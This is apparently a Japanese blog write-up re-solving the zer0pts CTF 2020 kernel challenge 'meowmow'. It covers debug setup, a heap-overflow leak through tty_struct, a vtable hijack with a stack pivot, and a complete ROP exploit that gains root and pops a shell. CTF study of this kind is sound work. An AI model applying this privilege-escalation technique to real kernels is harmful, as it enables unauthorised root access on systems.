いつぞや行われたzer0pts CTFの pwn 問題meowmow。 kernel exploit である本問の解き直しをする。 と思ったまま早数ヶ月が経ってしまった やっぱり kernel 問に慣れていなさすぎて、やるまでに必要なエネルギーが大きくなりすぎてしまう。 結局は、簡単な問題を数こなす内に慣れていくしかないのであろう。 何はともあれ、この CTF の pwn は全部解き直すと決めていたので、コレで完了。

尚自分は kernel exploit に関しては未だに右も左もわからない初心者以下のため、 自分用の備忘録も兼ねて、 自分と同じ初心者でも再現できるよう導入から丁寧にメモしていこうと思う。

準備 Link to this heading

配布ファイル Link to this heading

  • bzImage: kernel イメージファイル。 バージョン情報等は以下の通り:
version.sh
1$ uname -a
2Linux (none) 4.19.98 #2 SMP Wed Feb 5 21:57:51 JST 2020 x86_64 GNU/Linux
  • rootfs.cpio: ファイルシステムのアーカイブファイル。kernel がブートした後メモリ上にロードされる。
  • start.sh: QEMU から kernel を起動する際のオプション等が記述されたファイル
  • memo.c: 本問で使用する LKM のソースファイル。シンプル

デバッグ環境の整備 Link to this heading

kernel は当然 stripped されていてデバッグがしにくい。 そのため、自分で kernel を落としてきてデバッグ情報付きでビルドする必要がある(本当に必要かは知らない。debug-info なしでいける人はいけるのかもしれない)。 それと同時に、ビルドした kernel に合わせて LKM も自前ビルドする。

kernel のビルド Link to this heading

build.sh
1git clone git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git
2cd ./linux-stable
3git checkout v4.19.98
4make allnoconfig
5make menuconfig
6 # 内容は以下の .config 参照
7make -j16
8cp ./arch/x86/boot/bzImage ~/YOUR_WORK_SPACE

この際の.configファイルは以下のリポジトリに一例をあげておいた:

モジュールのビルド Link to this heading

続いて LKM をビルドする。 以下のようなMakefileを作っておいてmakeするだけで OK:

Makefile
1obj-m += memo.o
2all:
3		make -C /home/wataru/linux-stable/ M=$(PWD)  modules
4		EXTRA_CFLAGS="-g DDEBUG"
5clean:
6		make -C /home/wataru/linux-stable/ M=$(PWD) clean
make.sh
 1$ make
 2make -C /home/wataru/linux-stable/ M=/home/wataru/Documents/ctf/zer0pts2020/meowmeow/work/build  modules
 3make[1]: Entering directory '/home/wataru/linux-stable'
 4  Building modules, stage 2.
 5  MODPOST 1 modules
 6make[1]: Leaving directory '/home/wataru/linux-stable'
 7EXTRA_CFLAGS="-g DDEBUG"
 8
 9$ modinfo ./memo.ko
10filename:       /home/wataru/Documents/ctf/zer0pts2020/meowmeow/work/build/./memo.ko
11description:    zer0pts CTF 2020 meowmow
12author:         ptr-yudai
13license:        GPL
14depends:
15name:           memo
16vermagic:       4.19.98

ファイルシステムの展開・圧縮 Link to this heading

続いてファイルシステムにデバッグ用のディレクトリを作成しておく。 ファイルシステムの展開・圧縮には以下のスクリプトを使用することができる:

.sh
 1$ cat ./extract.sh
 2#!/bin/sh
 3
 4sudo rm -r ./extracted
 5mkdir extracted
 6cd extracted
 7cpio -idv < ../rootfs.cpio
 8cd ../
 9
10$ cat ./compress.sh
11#!/bin/sh
12
13rm ./myrootfs.cpio
14cd ./extracted
15find ./ -print0 | cpio --owner root --null -o --format=newc > ../myrootfs.cpio
16cd ../

ついでにファイルシステム中のinitファイルもデバッグしやすいように書き換えておく:

.sh
 1$ cat ./extracted/init
 2#!/bin/sh
 3# devtmpfs does not get automounted for initramfs
 4/bin/mount -t proc proc /proc
 5/bin/mount -t sysfs sysfs /sys
 6/bin/mount -t devtmpfs devtmpfs /dev
 7/sbin/mdev -s
 8mkdir -p /dev/pts
 9mount -vt devpts -o gid=4,mode=620 none /dev/pts
10chmod 666 /dev/ptmx
11#echo 1 > /proc/sys/kernel/kptr_restrict
12#echo 1 > /proc/sys/kernel/dmesg_restrict
13echo 0 > /proc/sys/kernel/kptr_restrict
14echo 0 > /proc/sys/kernel/dmesg_restrict
15
16chown root:root /flag
17chmod 400 /flag
18insmod /root/memo.ko
19mknod -m 666 /dev/memo c `grep memo /proc/devices | awk '{print $1;}'` 0
20
21echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
22cat /root/banner
23
24#setsid /bin/cttyhack setuidgid 1000 /bin/sh
25setsid /bin/cttyhack setuidgid 0 /bin/sh
26
27umount /proc
28umount /sys
29poweroff -d 0 -f

それから、自前で用意した debug-info 付きの kernel やモジュール等を使用するように起動スクリプトも書き換えておく:

start.sh
 1$ cat ./start.sh
 2#!/bin/sh
 3qemu-system-x86_64 \
 4    -m 256M \
 5    -kernel ./pure/bzImage \
 6    -initrd ./myrootfs.cpio \
 7    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" \
 8    -cpu kvm64,+smep,+smap \
 9    -monitor /dev/null \
10    -nographic -enable-kvm \
11    -s

ここまでできたら一度 kernel を起動して、正常に作動すること(LKM がインストールされていること)を確認する:

GDB で attach Link to this heading

それでは最後に GDB でデバッグできる状態にする。

既に起動スクリプトの中で QEMU を-sオプション付きで起動しているため、 localhost1234ポートに接続することでデバッガをアタッチできる。 尚、GDB の起動は上でビルドした対象の Kernel Tree の中で行い、そのトップディレクトリに自前ビルドしたモジュール(.ko)も置いておく。 そうすると、Kernel が提供する GDB スクリプトによってlx-symbolsコマンドが使えるようになる。

.sh
 1$ pwd
 2/home/wataru/linux-stable
 3$ ls | grep memo
 4-rw-rw-r--   1 wataru wataru    212544 Jul 22 21:31 memo.ko
 5$ pwndbg ./vmlinux
 6pwndbg> target remote :1234
 7pwndbg> lx-symbols
 8loading vmlinux
 9scanning for modules in /home/wataru/linux-stable
10loading @0xffffffffa0000000: /home/wataru/linux-stable/memo.ko
11pwndbg> b mod_open
12Breakpoint 1 at 0xffffffffa0000140: mod_open. (2 locations)

すると、以下のようにいつもどおりのデバッグができるようになる。 尚、デバッグ環境を整えるためには kernel のビルド時に諸々の設定をする必要があるため、 これも上に挙げたリポジトリのファイルを参照のこと。

おまけ Link to this heading

配布されたbzImageを展開して何かを調べたい場合には以下の通り:

vanila gdb ではなく何らかの plugin(今回の場合pwndbg/peda)を使用した場合、デバッグ時に何かしら不都合が出てくる可能性もあるらしい (今回は何も困らなかった)

Bugs Link to this heading

カーネルモジュールのソースコードを見ると、明らかな heap overflow がある。 これを利用して heap 領域にある kernel symbol を leak する。 リンク先の記事 に kernel pwn で使える構造体がまとまっている。

隣接するバッファの値しか読み書きできないという都合上、 選択する構造体は「任意のタイミングで alloc することができる」必要がある。 また、モジュールが作るバッファのサイズは0x400であるため、スラブとしてkmalloc-1024が使われる。 よって今回はサイズ 0x2e4 で同様にkmalloc-1024が使われるtty_structを利用することにする。 この構造体は/dev/ptmxopen()すると alloc される。 struct tty_structのメンバとサイズ・オフセットは以下のとおりである:

ptype.sh
  1pwndbg> ptype /o struct tty_struct
  2/* offset    |  size */  type = struct tty_struct {
  3/*    0      |     4 */    int magic;
  4/*    4      |     4 */    struct kref {
  5/*    4      |     4 */        refcount_t refcount;
  6
  7                               /* total size (bytes):    4 */
  8                           } kref;
  9/*    8      |     8 */    struct device *dev;
 10/*   16      |     8 */    struct tty_driver *driver;
 11/*   24      |     8 */    const struct tty_operations *ops;
 12/*   32      |     4 */    int index;
 13/* XXX  4-byte hole  */
 14/*   40      |    48 */    struct ld_semaphore {
 15/*   40      |     8 */        atomic_long_t count;
 16/*   48      |     0 */        raw_spinlock_t wait_lock;
 17/*   48      |     4 */        unsigned int wait_readers;
 18/* XXX  4-byte hole  */
 19/*   56      |    16 */        struct list_head {
 20/*   56      |     8 */            struct list_head *next;
 21/*   64      |     8 */            struct list_head *prev;
 22
 23                                   /* total size (bytes):   16 */
 24                               } read_wait;
 25/*   72      |    16 */        struct list_head {
 26/*   72      |     8 */            struct list_head *next;
 27/*   80      |     8 */            struct list_head *prev;
 28
 29                                   /* total size (bytes):   16 */
 30                               } write_wait;
 31
 32                               /* total size (bytes):   48 */
 33                           } ldisc_sem;
 34/*   88      |     8 */    struct tty_ldisc *ldisc;
 35/*   96      |    24 */    struct mutex {
 36/*   96      |     8 */        atomic_long_t owner;
 37/*  104      |     0 */        spinlock_t wait_lock;
 38/*  104      |    16 */        struct list_head {
 39/*  104      |     8 */            struct list_head *next;
 40/*  112      |     8 */            struct list_head *prev;
 41
 42                                   /* total size (bytes):   16 */
 43                               } wait_list;
 44
 45                               /* total size (bytes):   24 */
 46                           } atomic_write_lock;
 47/*  120      |    24 */    struct mutex {
 48/*  120      |     8 */        atomic_long_t owner;
 49/*  128      |     0 */        spinlock_t wait_lock;
 50/*  128      |    16 */        struct list_head {
 51/*  128      |     8 */            struct list_head *next;
 52/*  136      |     8 */            struct list_head *prev;
 53
 54                                   /* total size (bytes):   16 */
 55                               } wait_list;
 56
 57                               /* total size (bytes):   24 */
 58                           } legacy_mutex;
 59/*  144      |    24 */    struct mutex {
 60/*  144      |     8 */        atomic_long_t owner;
 61/*  152      |     0 */        spinlock_t wait_lock;
 62/*  152      |    16 */        struct list_head {
 63/*  152      |     8 */            struct list_head *next;
 64/*  160      |     8 */            struct list_head *prev;
 65
 66                                   /* total size (bytes):   16 */
 67                               } wait_list;
 68
 69                               /* total size (bytes):   24 */
 70                           } throttle_mutex;
 71/*  168      |    24 */    struct rw_semaphore {
 72/*  168      |     8 */        atomic_long_t count;
 73/*  176      |    16 */        struct list_head {
 74/*  176      |     8 */            struct list_head *next;
 75/*  184      |     8 */            struct list_head *prev;
 76
 77                                   /* total size (bytes):   16 */
 78                               } wait_list;
 79/*  192      |     0 */        raw_spinlock_t wait_lock;
 80
 81                               /* total size (bytes):   24 */
 82                           } termios_rwsem;
 83/*  192      |    24 */    struct mutex {
 84/*  192      |     8 */        atomic_long_t owner;
 85/*  200      |     0 */        spinlock_t wait_lock;
 86/*  200      |    16 */        struct list_head {
 87/*  200      |     8 */            struct list_head *next;
 88/*  208      |     8 */            struct list_head *prev;
 89
 90                                   /* total size (bytes):   16 */
 91                               } wait_list;
 92
 93                               /* total size (bytes):   24 */
 94                           } winsize_mutex;
 95/*  216      |     0 */    spinlock_t ctrl_lock;
 96/*  216      |     0 */    spinlock_t flow_lock;
 97/*  216      |    44 */    struct ktermios {
 98/*  216      |     4 */        tcflag_t c_iflag;
 99/*  220      |     4 */        tcflag_t c_oflag;
100/*  224      |     4 */        tcflag_t c_cflag;
101/*  228      |     4 */        tcflag_t c_lflag;
102/*  232      |     1 */        cc_t c_line;
103/*  233      |    19 */        cc_t c_cc[19];
104/*  252      |     4 */        speed_t c_ispeed;
105/*  256      |     4 */        speed_t c_ospeed;
106
107                               /* total size (bytes):   44 */
108                           } termios;
109/*  260      |    44 */    struct ktermios {
110/*  260      |     4 */        tcflag_t c_iflag;
111/*  264      |     4 */        tcflag_t c_oflag;
112/*  268      |     4 */        tcflag_t c_cflag;
113/*  272      |     4 */        tcflag_t c_lflag;
114/*  276      |     1 */        cc_t c_line;
115/*  277      |    19 */        cc_t c_cc[19];
116/*  296      |     4 */        speed_t c_ispeed;
117/*  300      |     4 */        speed_t c_ospeed;
118
119                               /* total size (bytes):   44 */
120                           } termios_locked;
121/*  304      |     8 */    struct termiox *termiox;
122/*  312      |    64 */    char name[64];
123/*  376      |     8 */    struct pid *pgrp;
124/*  384      |     8 */    struct pid *session;
125/*  392      |     8 */    unsigned long flags;
126/*  400      |     4 */    int count;
127/*  404      |     8 */    struct winsize {
128/*  404      |     2 */        unsigned short ws_row;
129/*  406      |     2 */        unsigned short ws_col;
130/*  408      |     2 */        unsigned short ws_xpixel;
131/*  410      |     2 */        unsigned short ws_ypixel;
132
133                               /* total size (bytes):    8 */
134                           } winsize;
135/*  412: 0   |     8 */    unsigned long stopped : 1;
136/*  412: 1   |     8 */    unsigned long flow_stopped : 1;
137/* XXX  6-bit hole   */
138/* XXX  3-byte hole  */
139/*  416: 0   |     8 */    unsigned long unused : 62;
140/* XXX  2-bit hole   */
141/*  424      |     4 */    int hw_stopped;
142/*  428: 0   |     8 */    unsigned long ctrl_status : 8;
143/*  429: 0   |     8 */    unsigned long packet : 1;
144/* XXX  7-bit hole   */
145/* XXX  2-byte hole  */
146/*  432: 0   |     8 */    unsigned long unused_ctrl : 55;
147/* XXX  1-bit hole   */
148/* XXX  1-byte hole  */
149/*  440      |     4 */    unsigned int receive_room;
150/*  444      |     4 */    int flow_change;
151/*  448      |     8 */    struct tty_struct *link;
152/*  456      |     8 */    struct fasync_struct *fasync;
153/*  464      |    16 */    wait_queue_head_t write_wait;
154/*  480      |    16 */    wait_queue_head_t read_wait;
155/*  496      |    32 */    struct work_struct {
156/*  496      |     8 */        atomic_long_t data;
157/*  504      |    16 */        struct list_head {
158/*  504      |     8 */            struct list_head *next;
159/*  512      |     8 */            struct list_head *prev;
160
161                                   /* total size (bytes):   16 */
162                               } entry;
163/*  520      |     8 */        work_func_t func;
164
165                               /* total size (bytes):   32 */
166                           } hangup_work;
167/*  528      |     8 */    void *disc_data;
168/*  536      |     8 */    void *driver_data;
169/*  544      |     0 */    spinlock_t files_lock;
170/*  544      |    16 */    struct list_head {
171/*  544      |     8 */        struct list_head *next;
172/*  552      |     8 */        struct list_head *prev;
173
174                               /* total size (bytes):   16 */
175                           } tty_files;
176/*  560      |     4 */    int closing;
177/* XXX  4-byte hole  */
178/*  568      |     8 */    unsigned char *write_buf;
179/*  576      |     4 */    int write_cnt;
180/* XXX  4-byte hole  */
181/*  584      |    32 */    struct work_struct {
182/*  584      |     8 */        atomic_long_t data;
183/*  592      |    16 */        struct list_head {
184/*  592      |     8 */            struct list_head *next;
185/*  600      |     8 */            struct list_head *prev;
186
187                                   /* total size (bytes):   16 */
188                               } entry;
189/*  608      |     8 */        work_func_t func;
190
191                               /* total size (bytes):   32 */
192                           } SAK_work;
193/*  616      |     8 */    struct tty_port *port;
194
195                           /* total size (bytes):  624 */
196                         }

この内、const struct tty_operations *ops;は vtable へのポインタとして kernel symbol を指しているため kernelbase の leak に利用することができる

実際に/dev/ptmxopenしたあとで上の構造体を確認してみると以下のようになった:

ops0xffffffff816191e0 <ptm_unix98_ops>を指している。 この時、kernelbase は以下の通り0xffffffff81000000であったから、そのオフセットは0x6191e0であることが分かる:

一旦以下のスクリプトで kbase/kheap の leak が可能であることを確認してみる:

leak.sh
 1#include<stdio.h>
 2#include<stdlib.h>
 3#include<fcntl.h>
 4#include<unistd.h>
 5#include<sys/ioctl.h>
 6#include<sys/types.h>
 7#define ulong unsigned long
 8int main(void)
 9{
10  int memo = open("/dev/memo",O_RDWR);
11  int ptmx = open("/dev/ptmx",O_RDWR | O_NOCTTY);
12  char buf[0x400];
13  ulong off_ptm_unix98_ops_kernbase = 0x6191e0;
14  ulong kernbase;
15  lseek(memo,0x300,SEEK_SET);
16  read(memo,buf,0x400);
17  kernbase = *(unsigned long*)(buf + 0x100 + 0x18) - off_ptm_unix98_ops_kernbase;
18  printf("kernbase: %lx\n",kernbase);
19  return 0;
20}

尚、今回はライブラリが使えないため静的リンクしてファイルシステムに入れておく必要がある(組み込み用とか diet-libc とかを使ってもいいが、別に今回はローカルでしか試さないからいいや):

.sh
1$ gcc ./test1.c -o test1 --static
2$ cp ./test1 ./extracted/dbg/
3$ sh ./compress.sh

これを実行すると以下のようになる:

/proc/kallsymsから調べられる kbase と leak した kbase が一致していることから、 適切に leak できていることがわかる (root 権限でないと/proc/kallsymsが読めないため、initファイルを書き換えて root ログインしている)。

同様にして、tty_struct中のstruct ld_semaphore中のstruct list_head中のstruct list_head *next が自分自身を指していることが上の画像より見てとれる。 これにより、kheap を leak することができる (offset: 0x438)。

以上より、kbase/kheap ともに leak できたことになる。

RIP をとる Link to this heading

上に示した方法を write にも適用させることで、tty_structを自由に操作することができる。 このtty_structstruct tty_operations *opsという vtable へのポインタを保有しており、 その vtable(ptm_unix98_ops)は以下のようになっている:

この vtable へのポインタを不正に操作し、偽の vtable へ飛ばすことができれば RIP を奪取することができる。 試しに以下のスクリプトでtty_struct.ops -> ioctlに該当するエントリに牛の死骸を挿入してみる。 尚、tty_structの他のエントリを破壊しないように事前に呼んだメモリに上書きする形で overwrite している:

rip.c
 1#include<stdio.h>
 2#include<stdlib.h>
 3#include<fcntl.h>
 4#include<unistd.h>
 5#include<sys/ioctl.h>
 6#include<sys/types.h>
 7#define ulong unsigned long
 8#define REAL
 9#undef REAL
10int main(void)
11{
12  int memo = open("/dev/memo",O_RDWR);
13  int ptmx = open("/dev/ptmx",O_RDWR | O_NOCTTY);
14  char buf[0x400];
15#ifndef REAL
16  ulong off_ptm_unix98_ops_kernbase = 0x6191e0;
17  ulong off_kernheap = 0x438;
18  ulong gad1 = 0;
19#else
20  ulong off_ptm_unix98_ops_kernbase = 0;
21  ulong off_kernheap = 0x438;
22  ulong gad1 = 0x94d4e3;
23#endif
24  ulong kernbase, kernheap;
25  lseek(memo,0x300,SEEK_SET);
26  read(memo,buf,0x400);
27  // leak kernbase and kernheap
28  kernbase = *(unsigned long*)(buf + 0x100 + 0x18) - off_ptm_unix98_ops_kernbase;
29  printf("kernbase: %lx\n",kernbase);
30  kernheap = *(unsigned long*)(buf + 0x100 + 0x38) - off_kernheap;
31  printf("kernheap: %lx\n",kernheap);
32  //
33  //*(unsigned long*)(buf + 0xc*8) = gad1 + kernbase; // fake ioctl entry
34  *(unsigned long*)(buf + 0xc*8) = 0xdeadbeef; // fake ioctl entry
35  *(unsigned long*)(buf + 0x100 + 0x18) = kernheap + 0x300; // fake vtable pointer
36  lseek(memo,0x300,SEEK_SET);
37  write(memo,buf,0x400);
38  ioctl(ptmx,0xdeadbeef,0xcafebabe);
39  return 0;
40}

これを実行すると、以下の画像のようにtty_struct.opsmemoバッファへのポインタに上書きされる:

そしてこの forged vtable をstruct tty_operationsとして読むと以下のようになる:

これでptmxに対してioctlを呼ぶと0xdeadbeefに RIP が移ることになるため、 以下のように kernel は panic する:

但し、この kernel は SMAP/SMEP/KPTI が全て有効になっているため、ただ userland に帰ろうとしてもそれはできない。それぞれの機能を一言でまとめると以下のようになっている

  • SMEP: 特権モードから userland のコード実行を禁止する
  • SMAP: 特権モードから userland へのポインタの dereference を禁止する (userland へのアクセスを禁止する)/ ret2dir(physmap spray)で bypass
  • KPTI: 特権モードと非特権モードでページテーブルを分離する。Meltdown への対策として実装された

ここで、配布された kernel image を探すと以下のような gadget が見つかる:

gadget.sh
1$ ~/snipet/kernel/extract-vmlinux ./bzImage  > ./extracted_bzImage
2$rp++ -f ./extracted_bzImage --unique -r 10 | grep "push r12" | grep "pop rsp"
30xffffffff8194d4e3: push r12 ; add dword [rbp+0x41], ebx ; pop rsp ; pop r13 ; ret  ;  (1 found)

すなわち、この gadget を R12 を任意の値にして呼ぶことができれば RSP を任意の値にセットすることができる。 また、ioctl()を呼ぶ時、tty_ioctl()の以下の箇所でその第 2 引数が R12 にセットされる:

すなわち、vtable のioctlを上の gadget に書き換えた状態でioctl()を呼ぶと、R12 経由で RSP を任意の値にすることができる。 (なお、自前ビルドした kernel においては対象の gadget は見つからなかった。ビルドコンフィグが違うから当たり前)。 ということで実際の kernel image に即してオフセットを調べていっても良いのだが、 それでは本家様のコードを丸パクリしてしまうことになってつまらないため、 このまま自前ビルドの kernel を使っていくことにする。 上の画像を見ると、RDX には第 3 引数の値が入っているため、代わりに以下の gadget が使えそうだった:

gadget.sh
10xffffffff810243b8: push rdx ; pop rsp ; sub eax, 0x0002E5AC ; pop rax ; pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop rbp ; ret  ;  (1 found)

その後ろで色々とpopしているが、ROP の中にダミーの値を入れておけば、まあ大丈夫だろう。

定石の ROP Link to this heading

RIP/RSP を自由に操作することができたらあとは定石の通り ROP を組むだけである。 ROP 中で行うことは以下の通り:

prepare_kernel_cred()で init task の cred を入手 Link to this heading

struct cred *prepare_kernel_cred(struct task_struct *daemon)は以下で定義される関数である:

daemonNULLであった場合には以下の分岐に於いてinit_credcredを返すことになる:

.c
1if (daemon)
2  old = get_task_cred(daemon);
3else
4  old = get_cred(&init_cred);

このcredinitに指される credential のため、 これを現在実行中のプロセスに適用させることで root 権限を得ることができる。

init_cred を適用させる Link to this heading

このcredを現在のプロセスに適用させるのがint commit_creds(struct task *new) である。 尚、これを呼ぶ前にprepare_kernel_cred()の返り値をrdiに移しておく必要がある。

userland への帰還 Link to this heading

これで無事特権を入手したため、あとは userland に帰って用意しておいたシェルをポップする関数を呼ぶだけである。 但し前述したように KPTI 有効であるから単純に帰るだけではセグフォが起きる。 前もって決められた手順に従わなくてはならない (or CR3, 0x1000)。 これをしてくれるのが以下のswapgs_restore_regs_and_return_to_usermodeマクロである:

swapgs.S
 1GLOBAL(swapgs_restore_regs_and_return_to_usermode)
 2#ifdef CONFIG_DEBUG_ENTRY
 3	/* Assert that pt_regs indicates user mode. */
 4	testb	$3, CS(%rsp)
 5	jnz	1f
 6	ud2
 71:
 8#endif
 9	POP_REGS pop_rdi=0
10
11	/*
12	 * The stack is now user RDI, orig_ax, RIP, CS, EFLAGS, RSP, SS.
13	 * Save old stack pointer and switch to trampoline stack.
14	 */
15	movq	%rsp, %rdi
16	movq	PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp
17
18	/* Copy the IRET frame to the trampoline stack. */
19	pushq	6*8(%rdi)	/* SS */
20	pushq	5*8(%rdi)	/* RSP */
21	pushq	4*8(%rdi)	/* EFLAGS */
22	pushq	3*8(%rdi)	/* CS */
23	pushq	2*8(%rdi)	/* RIP */
24
25	/* Push user RDI on the trampoline stack. */
26	pushq	(%rdi)
27
28	/*
29	 * We are on the trampoline stack.  All regs except RDI are live.
30	 * We can do future final exit work right here.
31	 */
32
33	SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi
34
35	/* Restore RDI. */
36	popq	%rdi
37	SWAPGS
38	INTERRUPT_RETURN

これを呼ぶことで、kernel land から user land に帰ることができるのだが、 その際にスタック上に保存しておいた非特権モード時のレジスタの値を置いておく必要がある。 そこで、以前のエントリ でも使用したコードを使い予め exploit プログラム上でレジスタの値を記憶しておくことにする。

savestate.c
1static void save_state(void) {
2  asm(
3      "movq %%cs, %0\n"
4      "movq %%ss, %1\n"
5      "pushfq\n"
6      "popq %2\n"
7      : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" 		);
8}

exploit Link to this heading

exploit.c
  1#include<stdio.h>
  2#include<stdlib.h>
  3#include<fcntl.h>
  4#include<unistd.h>
  5#include<sys/ioctl.h>
  6#include<sys/types.h>
  7#define ulong unsigned long
  8ulong user_cs,user_ss,user_sp,user_rflags;
  9void pop_shell(void)
 10{
 11  char *argv[] = {"/bin/sh",NULL};
 12  char *envp[] = {NULL};
 13  execve("/bin/sh",argv,envp);
 14}
 15static void save_state(void) {
 16  asm(
 17      "movq %%cs, %0\n"
 18      "movq %%ss, %1\n"
 19      "movq %%rsp, %2\n"
 20      "pushfq\n"
 21      "popq %3\n"
 22      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
 23}
 24int main(void)
 25{
 26  int memo = open("/dev/memo",O_RDWR);
 27  int ptmx = open("/dev/ptmx",O_RDWR | O_NOCTTY);
 28  char buf[0x400];
 29  ulong *rop;
 30  ulong kernbase, kernheap;
 31  /**** gadgets ****/
 32  ulong off_ptm_unix98_ops_kernbase = 0x6191e0;
 33  ulong off_kernheap = 0x438;
 34  // 0xffffffff810243b8: push rdx ; pop rsp ; sub eax, 0x0002E5AC ; pop rax ; pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop rbp ; ret  ;  (1 found)
 35  ulong gad1 = 0x243b8;
 36  // 0xffffffff810e7ae8: pop rdi ; ret  ;  (47 found)
 37  ulong pop_rdi = 0xe7ae8;
 38  // 0xffffffff8100fc8e: mov rdi, rax ; rep movsq  ; ret  ;  (1 found)
 39  ulong mov_rdi_rax = 0xfc8e;
 40  // 0xffffffff810fb892: pop rcx ; add cl, byte [rax-0x7D] ; ret  ;  (2 found)
 41  ulong pop_rcx = 0xfb892;
 42  ulong prepare_kernel_cred = 0x44850;
 43  ulong commit_creds = 0x44680;
 44  /*
 45   0xffffffff812009c4 <+68>:    mov    rdi,rsp
 46   0xffffffff812009c7 <+71>:    mov    rsp,QWORD PTR ds:0xffffffff81806004
 47   0xffffffff812009cf <+79>:    push   QWORD PTR [rdi+0x30]
 48   0xffffffff812009d2 <+82>:    push   QWORD PTR [rdi+0x28]
 49   0xffffffff812009d5 <+85>:    push   QWORD PTR [rdi+0x20]
 50   0xffffffff812009d8 <+88>:    push   QWORD PTR [rdi+0x18]
 51   0xffffffff812009db <+91>:    push   QWORD PTR [rdi+0x10]
 52   0xffffffff812009de <+94>:    push   QWORD PTR [rdi]
 53   0xffffffff812009e0 <+96>:    push   rax
 54   0xffffffff812009e1 <+97>:    xchg   ax,ax
 55   0xffffffff812009e3 <+99>:    mov    rdi,cr3
 56   0xffffffff812009e6 <+102>:   jmp    0xffffffff81200a1a <common_interrupt+154>
 57   0xffffffff812009e8 <+104>:   mov    rax,rdi
 58   0xffffffff812009eb <+107>:   and    rdi,0x7ff
 59  */
 60  ulong swapgs_restore_regs_and_return_to_usermode = 0x2009c4;
 61  // 状態の保存
 62  save_state();
 63  lseek(memo,0x300,SEEK_SET);
 64  read(memo,buf,0x400);
 65  // leak kernbase and kernheap
 66  kernbase = *(unsigned long*)(buf + 0x100 + 0x18) - off_ptm_unix98_ops_kernbase;
 67  printf("kernbase: %lx\n",kernbase);
 68  kernheap = *(unsigned long*)(buf + 0x100 + 0x38) - off_kernheap;
 69  printf("kernheap: %lx\n",kernheap);
 70  // vtableへのポインタの書き換え
 71  *(unsigned long*)(buf + 0xc*8) = kernbase + gad1; // fake ioctl entry
 72  *(unsigned long*)(buf + 0x100 + 0x18) = kernheap + 0x300; // fake vtable pointer
 73  lseek(memo,0x300,SEEK_SET);
 74  write(memo,buf,0x400); // overwrite ops and ioctl entry
 75  // ROP chain
 76  rop = (unsigned long*)buf;
 77  // gad1のごまかし*6
 78  *rop++ = 0x0;
 79  *rop++ = 0x0;
 80  *rop++ = 0x0;
 81  *rop++ = 0x0;
 82  *rop++ = 0x0;
 83  *rop++ = 0x0;
 84  // init_task の cred を入手
 85  *rop++ = kernbase + pop_rdi;
 86  *rop++ = 0;
 87  *rop++ = kernbase + prepare_kernel_cred;
 88  // 入手したcredを引数にしてcommit
 89  *rop++ = kernbase + pop_rcx;      // mov_rdi_raxガジェットがrepを含んでいるため、カウンタ0にしておく
 90  *rop++ = 0;
 91  *rop++ = kernbase + mov_rdi_rax;
 92  *rop++ = kernbase + commit_creds;
 93  // return to usermode by swapgs_restore_regs_and_return_to_usermode
 94  *rop++ = kernbase + swapgs_restore_regs_and_return_to_usermode;
 95  *rop++ = 0;
 96  *rop++ = 0;
 97  *rop++ = (ulong)&pop_shell;
 98  *rop++ = user_cs;
 99  *rop++ = user_rflags;
100  *rop++ = user_sp;
101  *rop++ = user_ss;
102  // invoke shell
103  lseek(memo,0x0,SEEK_SET);
104  write(memo,buf,0x100);
105  ioctl(ptmx,kernheap,kernheap);
106  return 0;
107}

これを実行すると、以下のように確かに LPE できていることがわかる:

アウトロ Link to this heading

KPTI と KDDI って、似てるよね。 親戚なんかな。

Refs Link to this heading